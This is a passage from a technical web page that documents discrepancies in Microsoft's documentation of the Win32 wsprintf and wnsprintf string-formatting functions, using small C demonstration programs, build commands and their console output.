wsprintfA() returned string 'ê' of 2 characters for wide character 'ê' (U+00EA) wsprintfA() returned string 'ë' of 2 characters for wide character 'ë' (U+00EB) wsprintfA() returned string 'ì' of 2 characters for wide character 'ì' (U+00EC) wsprintfA() returned string 'í' of 2 characters for wide character 'í' (U+00ED) wsprintfA() returned string 'î' of 2 characters for wide character 'î' (U+00EE) wsprintfA() returned string 'ï' of 2 characters for wide character 'ï' (U+00EF) wsprintfA() returned string 'ð' of 2 characters for wide character 'ð' (U+00F0) wsprintfA() returned string 'ñ' of 2 characters for wide character 'ñ' (U+00F1) wsprintfA() returned string 'ò' of 2 characters for wide character 'ò' (U+00F2) wsprintfA() returned string 'ó' of 2 characters for wide character 'ó' (U+00F3) wsprintfA() returned string 'ô' of 2 characters for wide character 'ô' (U+00F4) wsprintfA() returned string 'õ' of 2 characters for wide character 'õ' (U+00F5) wsprintfA() returned string 'ö' of 2 characters for wide character 'ö' (U+00F6) wsprintfA() returned string '÷' of 2 characters for wide character '÷' (U+00F7) wsprintfA() returned string 'ø' of 2 characters for wide character 'ø' (U+00F8) wsprintfA() returned string 'ù' of 2 characters for wide character 'ù' (U+00F9) wsprintfA() returned string 'ú' of 2 characters for wide character 'ú' (U+00FA) wsprintfA() returned string 'û' of 2 characters for wide character 'û' (U+00FB) wsprintfA() returned string 'ü' of 2 characters for wide character 'ü' (U+00FC) wsprintfA() returned string 'ý' of 2 characters for wide character 'ý' (U+00FD) wsprintfA() returned string 'þ' of 2 characters for wide character 'þ' (U+00FE) wsprintfA() returned string 'ÿ' of 2 characters for wide character 'ÿ' (U+00FF)OUCH: the Win32 function
wsprintfA()
            returns a character count greater 1 for each of the 123 (wide)
            characters from the string CP1252 – the
            documentation cited above confuses character alias
            code point and byte alias
            code unit!
        wsprintf()
            specifies in its Remarkssection:
A format specification has the following form:OUCH⁰: the preprocessor macro is%[-][#][0][width][.precision]type
Each field is a single character or a number signifying a particular format option. The type characters that appear after the last optional format field determine whether the associated argument is interpreted as a character, a string, or a number. The simplest format specification contains only the percent sign and a type character (for example, %s). The optional fields control other aspects of the formatting. Following are the optional and required fields and their meanings.
Field Meaning … … type Output the corresponding argument as a character, a string, or a number. This field can be any of the following values. […]
c- Single character. This value is interpreted as type CHAR by wsprintfA and type WCHAR by wsprintfW. Note wsprintf is a macro defined as wsprintfA (Unicode not defined) or wsprintfW (Unicode defined).
C- Single character. This value is interpreted as type WCHAR by wsprintfA and type CHAR by wsprintfW. Note wsprintf is a macro defined as wsprintfA (Unicode not defined) or wsprintfW (Unicode defined).
d- Signed decimal integer. This value is equivalent to
i.
hc,hC- Single character. If the character has a numeric value of zero it is ignored. This value is always interpreted as type CHAR, even when the calling application defines Unicode.
hd- Signed short integer argument.
hs,hS- String. This value is always interpreted as type LPSTR, even when the calling application defines Unicode.
hu- Unsigned short integer.
i- Signed decimal integer. This value is equivalent to
d.
Ix,IX- 64-bit unsigned hexadecimal integer in lowercase or uppercase on 64-bit platforms, 32-bit unsigned hexadecimal integer in lowercase or uppercase on 32-bit platforms.
lc,lC- Single character. If the character has a numeric value of zero it is ignored. This value is always interpreted as type WCHAR, even when the calling application defines Unicode.
ld- Long signed integer. This value is equivalent to
li.
li- Long signed integer. This value is equivalent to
ld.
ls,lS- String. This value is always interpreted as type LPWSTR, even when the calling application does not define Unicode. This value is equivalent to
ws.
lu- Long unsigned integer.
lx,lX- Long unsigned hexadecimal integer in lowercase or uppercase.
p- Pointer. The address is printed using hexadecimal.
s- String. This value is interpreted as type LPSTR by wsprintfA and type LPWSTR by wsprintfW. Note wsprintf is a macro defined as wsprintfA (Unicode not defined) or wsprintfW (Unicode defined).
S- String. This value is interpreted as type LPWSTR by wsprintfA and type LPSTR by wsprintfW. Note wsprintf is a macro defined as wsprintfA (Unicode not defined) or wsprintfW (Unicode defined).
u- Unsigned integer argument.
x,X- Unsigned hexadecimal integer in lowercase or uppercase.
[…]
Note
The winuser.h header defines wsprintf as an alias that automatically selects the ANSI or Unicode version of this function based on the definition of the UNICODE preprocessor constant. Mixing usage of the encoding-neutral alias with code that is not encoding-neutral can lead to mismatches that result in compilation or runtime errors. For more information, see Conventions for Function Prototypes.
UNICODE, not Unicode!
         OUCH¹: the specification of the type
            field but misses Ip alias hp alias
            lp alias tp alias wp as
            equivalent to p for pointer arguments!
        
 OUCH²: it also misses wd as
            equivalent to ld and d, wi as
            equivalent to li and i, wu as
            equivalent to lu and u, wx as
            equivalent to lx and x plus
            wX as equivalent to lX and X
            for 32-bit integer arguments!
        
 OUCH³: it misses wc as equivalent
            to lc, wC as equivalent to lC
            and wS as equivalent to lS for
            Unicode
            character and string arguments!
        
 OUCH⁴: it misses Id alias
            Ii alias td alias ti plus
            Iu alias tu for 32-bit integer arguments
            on 32-bit platforms respectively 64-bit integer arguments on 64-bit
            platforms!
        
 OUCH⁵: last it misses I32d alias
            I32i, I32u, I32x and
            I32X for 32-bit integer arguments plus
            I64d alias I64i, I64u,
            I64x and I64X for 64-bit integer
            arguments!
            Size Specification
            Strings
            x64: Starting Out in 64-Bit Windows Systems with Visual C++
        
 Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	WCHAR	szBlunder[1025];
	DWORD	dwBlunder;
	DWORD	dwError;
	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
	if (hError == INVALID_HANDLE_VALUE)
		dwError = GetLastError();
	else
	{
		dwBlunder = wsprintf(szBlunder,
		                     L"%%I…\t%Id\n\t%Ii\n\t%Iu\n",
#ifndef _WIN64
		                     ~0x01234567, 0x01234567, ~0x01234567);
#else
		                     ~0x0123456789ABCDEF, 0x0123456789ABCDEF, ~0x0123456789ABCDEF);
#endif
		if (dwBlunder == 0UL)
			dwError = GetLastError();
		else
			if (!WriteConsole(hError, szBlunder, dwBlunder, &dwError, NULL))
				dwError = GetLastError();
			else
				if (dwError ^= dwBlunder)
					dwError = ERROR_WRITE_FAULT;
			//	else
			//		dwError = ERROR_SUCCESS;
		dwBlunder = wsprintf(szBlunder,
		                     L"%%I32…\t%I32d\n\t%I32i\n\t%I32u\n\t%#I32x\n\t%#I32X\n",
		                     ~0x01234567, 0x01234567, ~0x01234567, 0x01234567, ~0x01234567);
		if (dwBlunder == 0UL)
			dwError = GetLastError();
		else
			if (!WriteConsole(hError, szBlunder, dwBlunder, &dwError, NULL))
				dwError = GetLastError();
			else
				if (dwError ^= dwBlunder)
					dwError = ERROR_WRITE_FAULT;
			//	else
			//		dwError = ERROR_SUCCESS;
		dwBlunder = wsprintf(szBlunder,
		                     L"%%I64…\t%I64d\n\t%I64i\n\t%I64u\n\t%#I64x\n\t%#I64X\n",
		                     ~0x0123456789ABCDEF, 0x0123456789ABCDEF, ~0x0123456789ABCDEF, 0x0123456789ABCDEF, ~0x0123456789ABCDEF);
		if (dwBlunder == 0UL)
			dwError = GetLastError();
		else
			if (!WriteConsole(hError, szBlunder, dwBlunder, &dwError, NULL))
				dwError = GetLastError();
			else
				if (dwError ^= dwBlunder)
					dwError = ERROR_WRITE_FAULT;
			//	else
			//		dwError = ERROR_SUCCESS;
		dwBlunder = wsprintf(szBlunder,
		                     L"%%w…\t%wc\n\t%ws\n\t%wC\n\t%wS\n",
		                     L'€', L"€ sign", L'€', L"€ sign");
		if (dwBlunder == 0UL)
			dwError = GetLastError();
		else
			if (!WriteConsole(hError, szBlunder, dwBlunder, &dwError, NULL))
				dwError = GetLastError();
			else
				if (dwError ^= dwBlunder)
					dwError = ERROR_WRITE_FAULT;
			//	else
			//		dwError = ERROR_SUCCESS;
		dwBlunder = wsprintf(szBlunder,
		                     L"%%Ip\t%Ip\n%%hp\t%hp\n%%lp\t%lp\n%%tp\t%tp\n%%wp\t%wp\n",
		                     wmainCRTStartup, wmainCRTStartup, wmainCRTStartup, wmainCRTStartup, wmainCRTStartup);
		if (dwBlunder == 0UL)
			dwError = GetLastError();
		else
			if (!WriteConsole(hError, szBlunder, dwBlunder, &dwError, NULL))
				dwError = GetLastError();
			else
				if (dwError ^= dwBlunder)
					dwError = ERROR_WRITE_FAULT;
			//	else
			//		dwError = ERROR_SUCCESS;
	}
	ExitProcess(dwError);
} Compile and link the source file blunder.c created in
            step 1. for the 32-bit execution environment:
        
SET CL=/GF /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /MACHINE:I386 /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.lib user32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /MACHINE:I386 /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib user32.lib
 Execute the console application blunder.exe built in
            step 2. and evaluate its exit code
        
.\blunder.exe ECHO %ERRORLEVEL%
%I… -19088744 19088743 4275878552 %I32… -19088744 19088743 4275878552 0x1234567 0XFEDCBA98 %I64… -81985529216486896 81985529216486895 18364758544493064720 0x123456789abcdef 0XFEDCBA9876543210 %w… € € sign € € sign %Ip 00321000 %hp 00321000 %lp 00321000 %tp 00321000 %wp 00321000 0
 Compile and link the source file blunder.c created in
            step 1. for the 64-bit execution environment:
        
SET CL=/GF /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /MACHINE:AMD64 /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.lib user32.lib
Microsoft (R) C/C++ Optimizing Compiler Version 16.00.40219.01 for x64 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /MACHINE:AMD64 /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib user32.lib
 Execute the console application blunder.exe built in
            step 4. and evaluate its exit code
        
.\blunder.exe ECHO %ERRORLEVEL%
%I… -81985529216486896 81985529216486895 18364758544493064720 %I32… -19088744 19088743 4275878552 0x1234567 0XFEDCBA98 %I64… -81985529216486896 81985529216486895 18364758544493064720 0x123456789abcdef 0XFEDCBA9876543210 %w… € € sign € € sign %Ip 0000007654321000 %hp 0000007654321000 %lp 0000007654321000 %tp 0000007654321000 %wp 0000007654321000 0
wnsprintf()
            states:
        Takes a variable-length argument list and returns the values of the arguments as a printf-style formatted string.OUCH: there is no[…]
[…]int wnsprintf( [out] LPTSTR pszDest, [in] int cchDest, [in] LPCTSTR pszFmt, ... );Returns the number of characters written to the buffer, excluding any terminating NULL characters. A negative value is returned if an error occurs.
[…]
This is a Windows version of sprintf. It does not support floating-point or pointer types. It supports only the left alignment flag.
NULL character–
NULL
            is a preprocessor macro defined as ((void *) 0)!
         The documentation for the Win32 function
            wnsprintf()
            specifies:
        
Takes a list of arguments and returns the values of the arguments as a printf-style formatted string.Flag Directives printf Width Specification Precision Specification Size Specification printf Type Field Characters[…]
int wvnsprintf( [out] LPTSTR pszDest, [in] int cchDest, [in] LPCTSTR pszFmt, [in] va_list arglist );
 Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <shlwapi.h>
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
	DWORD	dwError = ~0UL;
	WCHAR	szBlunder[56];
	INT	niBlunder = wnsprintf(szBlunder, sizeof(szBlunder),
		                      L"%+09d|% i|%#p|%+*.*ws|%#x",
		                      42, 0x815, wmainCRTStartup, 7, 5, L"Blunder", 0xDEADBEEF);
	if (niBlunder > 0)
		if (!WriteConsole(hError, szBlunder, niBlunder, &dwError, NULL))
			dwError = GetLastError();
		else
			if (dwError ^= niBlunder)
				dwError = ERROR_WRITE_FAULT;
		//	else
		//		dwError = ERROR_SUCCESS;
	ExitProcess(dwError);
} Compile and link the source file blunder.c created in
            step 1.:
        
SET CL=/GF /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.lib shlwapi.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib shlwapi.lib
 Execute the console application blunder.exe built in
            step 2. and evaluate its exit code
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
+00000042| 2069|0X00321000| Blund|0xdeadbeef 0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0) Error message text: The operation completed successfully. CertUtil: -error command completed successfully.OOPS: contrary to the highlighted statement of its documentation cited above, the Win32 function
wnsprintf()
            supports the right alignment flag and pointer types!
        wnsprintfA()
            states:
        Takes a variable-length argument list and returns the values of the arguments as a printf-style formatted string.OUCH¹: there is no[…]
[…]int wnsprintfA( [out] LPSTR pszDest, [in] int cchDest, [in] LPCSTR pszFmt, ... );Returns the number of characters written to the buffer, excluding any terminating NULL characters. A negative value is returned if an error occurs.
[…]
This is a Windows version of sprintf. It does not support floating-point or pointer types. It supports only the left alignment flag.
NULL character–
NULL
            is a preprocessor macro defined as ((void *) 0!
         The documentation for the Win32 function
            wnsprintfA()
            states:
        
Takes a list of arguments and returns the values of the arguments as a printf-style formatted string.OUCH²: there is still no[…]
[…]int wvnsprintfA( [out] LPSTR pszDest, [in] int cchDest, [in] LPCSTR pszFmt, [in] va_list arglist );Returns the number of characters written to the buffer, excluding any terminating NULL characters. A negative value is returned if an error occurs.
NULL character–
NULL
            is a preprocessor macro defined as ((void *) 0!
         The MSDN
            article
            Format Specification Syntax: printf and wprintf Functions
            specifies:
        
A conversion specification consists of optional and required fields in this form:Flag Directives printf Width Specification Precision Specification Size Specification printf Type Field Characters%[flags][width][.precision][size]type
[…]
The
typecharacter determines either the interpretation ofprecisionor the default precision whenprecisionis omitted, as shown in the following table.
Type Meaning Default … … s,SThe precision specifies the maximum number of characters to be printed. Characters in excess of precision are not printed. Characters are printed until a null character is encountered. 
 Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <shlwapi.h>
#define CP1252	L"€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖרÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ"
__declspec(safebuffers)
BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
	WCHAR	szOutput[1025];
	DWORD	dwOutput;
	DWORD	dwConsole;
	va_list	vaInput;
	va_start(vaInput, lpFormat);
	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
	va_end(vaInput);
	if (dwOutput == 0UL)
		return FALSE;
	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
		return FALSE;
	return dwConsole == dwOutput;
}
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	INT	niANSI;
	CHAR	szANSI[56];
	DWORD	dwWide = 0UL;
	DWORD	dwError = ERROR_SUCCESS;
	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
	if (hError == INVALID_HANDLE_VALUE)
		dwError = GetLastError();
	else
	{
		niANSI = wnsprintfA(szANSI, sizeof(szANSI),
		                    "%+09d|% i|%#p|%-*.*ws|%#x",
		                    GetACP(), GetOEMCP(), mainCRTStartup, 7, 5, CP1252, 0xDEADBEEF);
		if (niANSI < 0)
			PrintConsole(hError,
			             L"wnsprintfA() returned %d\n",
			             niANSI);
		else
			PrintConsole(hError,
			             L"wnsprintfA() returned string \'%hs\' of %d characters\n",
			             szANSI, niANSI);
		do
		{
#if 0
			niANSI = wnsprintfA(szANSI, sizeof(szANSI), "%lc", CP1252[dwWide]);
#else
			niANSI = wnsprintfA(szANSI, sizeof(szANSI), "%.1ls", CP1252 + dwWide);
#endif
			if (niANSI < 0)
				PrintConsole(hError,
				             L"wnsprintfA() returned %d for wide character \'%lc\' (U+%04hX)\n",
				             CP1252[dwWide], CP1252[dwWide]);
			else if (niANSI != 1)
				PrintConsole(hError,
				             L"wnsprintfA() returned string \'%hs\' of %d characters for wide character \'%lc\' (U+%04hX)\n",
				             szANSI, niANSI, CP1252[dwWide], CP1252[dwWide]);
		}
		while (++dwWide < sizeof(CP1252) / sizeof(*CP1252) - 1);
	}
	ExitProcess(dwError);
} Compile and link the source file blunder.c created in
            step 1.:
        
SET CL=/GF /Oi /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.lib shlwapi.lib user32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib shlwapi.lib user32.lib
 Execute the console application blunder.exe built in
            step 2. to show the legacy behaviour with
            code page 1252:
        
.\blunder.exe
wnsprintfA() returned string '+00001252| 850|0X0111104E|€‚ƒ„… |0xdeadbeef' of 44 charactersOUCH³: contrary to the second pair of highlighted statements from its documentation cited above, the Win32 function
wnsprintfA()
            but supports the pointer type p as well as the flags
            +, 0,   (blank) and
            #!
         Create the text file blunder.xml with the following
            content next to the console application blunder.exe
            built in step 2.:
        
<?xml version='1.0' encoding='UTF-8' standalone='yes' ?>
<!-- Copyright (C) 2004-2025, Stefan Kanthak -->
<assembly manifestVersion='1.0' xmlns='urn:schemas-microsoft-com:asm.v1'>
    <application xmlns='urn:schemas-microsoft-com:asm.v3'>
        <windowsSettings>
            <activeCodePage xmlns='http://schemas.microsoft.com/SMI/2019/WindowsSettings'>UTF-8</activeCodePage>
        </windowsSettings>
    </application>
    <assemblyIdentity name='Blunder' processorArchitecture='*' type='win32' version='0.8.1.5' />
    <compatibility xmlns='urn:schemas-microsoft-com:compatibility.v1'>
        <application>
            <supportedOS Id='{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}' />
        </application>
    </compatibility>
    <description>Blunder Console Application</description>
</assembly>application is (at least) clumsy and error-prone!
         Embed the
            application manifest
            blunder.xml created in step 4. in the console
            application blunder.exe built in step 2.:
        
MT.EXE /MANIFEST blunder.xml /OUTPUTRESOURCE:blunder.exeNote: the Manifest Tool
MT.exe
            is shipped with the Windows Software Development Kit.
        Microsoft (R) Manifest Tool version 6.1.7716.0 Copyright (c) Microsoft Corporation 2009. All rights reserved.
 Execute the console application blunder.exe configured
            in step 5. for
            code page
            65001 alias CP_UTF8 to demonstrate the blunder:
        
VER .\blunder.exe
Microsoft Windows [Version 10.0.22621.1105] wnsprintfA() returned string '+00065001| 65001|0X0017104E|€‚ƒ„… |0xdeadbeef' of 55 characters wnsprintfA() returned string '€' of 3 characters for wide character '€' (U+20AC) wnsprintfA() returned string '‚' of 3 characters for wide character '‚' (U+201A) wnsprintfA() returned string 'ƒ' of 2 characters for wide character 'ƒ' (U+0192) wnsprintfA() returned string '„' of 3 characters for wide character '„' (U+201E) wnsprintfA() returned string '…' of 3 characters for wide character '…' (U+2026) wnsprintfA() returned string '†' of 3 characters for wide character '†' (U+2020) wnsprintfA() returned string '‡' of 3 characters for wide character '‡' (U+2021) wnsprintfA() returned string 'ˆ' of 2 characters for wide character 'ˆ' (U+02C6) wnsprintfA() returned string '‰' of 3 characters for wide character '‰' (U+2030) wnsprintfA() returned string 'Š' of 2 characters for wide character 'Š' (U+0160) wnsprintfA() returned string '‹' of 3 characters for wide character '‹' (U+2039) wnsprintfA() returned string 'Œ' of 2 characters for wide character 'Œ' (U+0152) wnsprintfA() returned string 'Ž' of 2 characters for wide character 'Ž' (U+017D) wnsprintfA() returned string '‘' of 3 characters for wide character '‘' (U+2018) wnsprintfA() returned string '’' of 3 characters for wide character '’' (U+2019) wnsprintfA() returned string '“' of 3 characters for wide character '“' (U+201C) wnsprintfA() returned string '”' of 3 characters for wide character '”' (U+201D) wnsprintfA() returned string '•' of 3 characters for wide character '•' (U+2022) wnsprintfA() returned string '–' of 3 characters for wide character '–' (U+2013) wnsprintfA() returned string '—' of 3 characters for wide character '—' (U+2014) wnsprintfA() returned string '˜' of 2 characters for wide character '˜' (U+02DC) wnsprintfA() returned string '™' of 3 characters for wide character '™' (U+2122) wnsprintfA() returned string 'š' of 2 characters for wide character 'š' (U+0161) wnsprintfA() returned string '›' of 3 characters for wide character '›' (U+203A) wnsprintfA() returned string 'œ' of 2 characters for wide character 'œ' (U+0153) wnsprintfA() returned string 'ž' of 2 characters for wide character 'ž' (U+017E) wnsprintfA() returned string 'Ÿ' of 2 characters for wide character 'Ÿ' (U+0178) wnsprintfA() returned string ' ' of 2 characters for wide character ' ' (U+00A0) wnsprintfA() returned string '¡' of 2 characters for wide character '¡' (U+00A1) wnsprintfA() returned string '¢' of 2 characters for wide character '¢' (U+00A2) wnsprintfA() returned string '£' of 2 characters for wide character '£' (U+00A3) wnsprintfA() returned string '¤' of 2 characters for wide character '¤' (U+00A4) wnsprintfA() returned string '¥' of 2 characters for wide character '¥' (U+00A5) wnsprintfA() returned string '¦' of 2 characters for wide character '¦' (U+00A6) wnsprintfA() returned string '§' of 2 characters for wide character '§' (U+00A7) wnsprintfA() returned string '¨' of 2 characters for wide character '¨' (U+00A8) wnsprintfA() returned string '©' of 2 characters for wide character '©' (U+00A9) wnsprintfA() returned string 'ª' of 2 characters for wide character 'ª' (U+00AA) wnsprintfA() returned string '«' of 2 characters for wide character '«' (U+00AB) wnsprintfA() returned string '¬' of 2 characters for wide character '¬' (U+00AC) wnsprintfA() returned string '' of 2 characters for wide character '' (U+00AD) wnsprintfA() returned string '®' of 2 characters for wide character '®' (U+00AE) wnsprintfA() returned string '¯' of 2 characters for wide character '¯' (U+00AF) wnsprintfA() returned string '°' of 2 characters for wide character '°' (U+00B0) wnsprintfA() returned string '±' of 2 characters for wide character '±' (U+00B1) wnsprintfA() returned string '²' of 2 characters for wide character '²' (U+00B2) wnsprintfA() returned string '³' of 2 characters for wide character '³' (U+00B3) wnsprintfA() returned string '´' of 2 characters for wide character '´' (U+00B4) wnsprintfA() returned string 'µ' of 2 characters for wide character 'µ' (U+00B5) wnsprintfA() returned string '¶' of 2 characters for wide character '¶' (U+00B6) wnsprintfA() returned string '·' of 2 characters for wide character '·' (U+00B7) wnsprintfA() returned string '¸' of 2 characters for wide character '¸' (U+00B8) wnsprintfA() returned string '¹' of 2 characters for wide character '¹' (U+00B9) wnsprintfA() returned string 'º' of 2 characters for wide character 'º' (U+00BA) wnsprintfA() returned string '»' of 2 characters for wide character '»' (U+00BB) wnsprintfA() returned string '¼' of 2 characters for wide character '¼' (U+00BC) wnsprintfA() returned string '½' of 2 characters for wide character '½' (U+00BD) wnsprintfA() returned string '¾' of 2 characters for wide character '¾' (U+00BE) wnsprintfA() returned string '¿' of 2 characters for wide character '¿' (U+00BF) wnsprintfA() returned string 'À' of 2 characters for wide character 'À' (U+00C0) wnsprintfA() returned string 'Á' of 2 characters for wide character 'Á' (U+00C1) wnsprintfA() returned string 'Â' of 2 characters for wide character 'Â' (U+00C2) wnsprintfA() returned string 'Ã' of 2 characters for wide character 'Ã' (U+00C3) wnsprintfA() returned string 'Ä' of 2 characters for wide character 'Ä' (U+00C4) wnsprintfA() returned string 'Å' of 2 characters for wide character 'Å' (U+00C5) wnsprintfA() returned string 'Æ' of 2 characters for wide character 'Æ' (U+00C6) wnsprintfA() returned string 'Ç' of 2 characters for wide character 'Ç' (U+00C7) wnsprintfA() returned string 'È' of 2 characters for wide character 'È' (U+00C8) wnsprintfA() returned string 'É' of 2 characters for wide character 'É' (U+00C9) wnsprintfA() returned string 'Ê' of 2 characters for wide character 'Ê' (U+00CA) wnsprintfA() returned string 'Ë' of 2 characters for wide character 'Ë' (U+00CB) wnsprintfA() returned string 'Ì' of 2 characters for wide character 'Ì' (U+00CC) wnsprintfA() returned string 'Í' of 2 characters for wide character 'Í' (U+00CD) wnsprintfA() returned string 'Î' of 2 characters for wide character 'Î' (U+00CE) wnsprintfA() returned string 'Ï' of 2 characters for wide character 'Ï' (U+00CF) wnsprintfA() returned string 'Ð' of 2 characters for wide character 'Ð' (U+00D0) wnsprintfA() returned string 'Ñ' of 2 characters for wide character 'Ñ' (U+00D1) wnsprintfA() returned string 'Ò' of 2 characters for wide character 'Ò' (U+00D2) wnsprintfA() returned string 'Ó' of 2 characters for wide character 'Ó' (U+00D3) wnsprintfA() returned string 'Ô' of 2 characters for wide character 'Ô' (U+00D4) wnsprintfA() returned string 'Õ' of 2 characters for wide character 'Õ' (U+00D5) wnsprintfA() returned string 'Ö' of 2 characters for wide character 'Ö' (U+00D6) wnsprintfA() returned string '×' of 2 characters for wide character '×' (U+00D7) wnsprintfA() returned string 'Ø' of 2 characters for wide character 'Ø' (U+00D8) wnsprintfA() returned string 'Ù' of 2 characters for wide character 'Ù' (U+00D9) wnsprintfA() returned string 'Ú' of 2 characters for wide character 'Ú' (U+00DA) wnsprintfA() returned string 'Û' of 2 characters for wide character 'Û' (U+00DB) wnsprintfA() returned string 'Ü' of 2 characters for wide character 'Ü' (U+00DC) wnsprintfA() returned string 'Ý' of 2 characters for wide character 'Ý' (U+00DD) wnsprintfA() returned string 'Þ' of 2 characters for wide character 'Þ' (U+00DE) wnsprintfA() returned string 'ß' of 2 characters for wide character 'ß' (U+00DF) wnsprintfA() returned string 'à' of 2 characters for wide character 'à' (U+00E0) wnsprintfA() returned string 'á' of 2 characters for wide character 'á' (U+00E1) wnsprintfA() returned string 'â' of 2 characters for wide character 'â' (U+00E2) wnsprintfA() returned string 'ã' of 2 characters for wide character 'ã' (U+00E3) wnsprintfA() returned string 'ä' of 2 characters for wide character 'ä' (U+00E4) wnsprintfA() returned string 'å' of 2 characters for wide character 'å' (U+00E5) wnsprintfA() returned string 'æ' of 2 characters for wide character 'æ' (U+00E6) wnsprintfA() returned string 'ç' of 2 characters for wide character 'ç' (U+00E7) wnsprintfA() returned string 'è' of 2 characters for wide character 'è' (U+00E8) wnsprintfA() returned string 'é' of 2 characters for wide character 'é' (U+00E9) wnsprintfA() returned string 'ê' of 2 characters for wide character 'ê' (U+00EA) wnsprintfA() returned string 'ë' of 2 characters for wide character 'ë' (U+00EB) wnsprintfA() returned string 'ì' of 2 characters for wide character 'ì' (U+00EC) wnsprintfA() returned string 'í' of 2 characters for wide character 'í' (U+00ED) wnsprintfA() returned string 'î' of 2 characters for wide character 'î' (U+00EE) wnsprintfA() returned string 'ï' of 2 characters for wide character 'ï' (U+00EF) wnsprintfA() returned string 'ð' of 2 characters for wide character 'ð' (U+00F0) wnsprintfA() returned string 'ñ' of 2 characters for wide character 'ñ' (U+00F1) wnsprintfA() returned string 'ò' of 2 characters for wide character 'ò' (U+00F2) wnsprintfA() returned string 'ó' of 2 characters for wide character 'ó' (U+00F3) wnsprintfA() returned string 'ô' of 2 characters for wide character 'ô' (U+00F4) wnsprintfA() returned string 'õ' of 2 characters for wide character 'õ' (U+00F5) wnsprintfA() returned string 'ö' of 2 characters for wide character 'ö' (U+00F6) wnsprintfA() returned string '÷' of 2 characters for wide character '÷' (U+00F7) wnsprintfA() returned string 'ø' of 2 characters for wide character 'ø' (U+00F8) wnsprintfA() returned string 'ù' of 2 characters for wide character 'ù' (U+00F9) wnsprintfA() returned string 'ú' of 2 characters for wide character 'ú' (U+00FA) wnsprintfA() returned string 'û' of 2 characters for wide character 'û' (U+00FB) wnsprintfA() returned string 'ü' of 2 characters for wide character 'ü' (U+00FC) wnsprintfA() returned string 'ý' of 2 characters for wide character 'ý' (U+00FD) wnsprintfA() returned string 'þ' of 2 characters for wide character 'þ' (U+00FE) wnsprintfA() returned string 'ÿ' of 2 characters for wide character 'ÿ' (U+00FF)OUCH⁴: the Win32 function
wnsprintfA()
            returns a character count greater 1 for each of the 123 (wide)
            characters from the string CP1252 – the
            documentation cited above confuses character alias
            code point and byte alias
            code unit!
        WNDCLASS
            structure specifies:
        Contains the window class attributes that are registered by the RegisterClass function.The documentation for the[…]
The maximum length for lpszClassName is 256. If lpszClassName is greater than the maximum length, the RegisterClass function will fail.
WNDCLASSEX
            structure specifies:
        Contains window class information. It is used with the RegisterClassEx and GetClassInfoEx functions.The documentation for the Win32 function[…]
The maximum length for lpszClassName is 256. If lpszClassName is greater than the maximum length, the RegisterClassEx function will fail.
GetClassName()
            specifies:
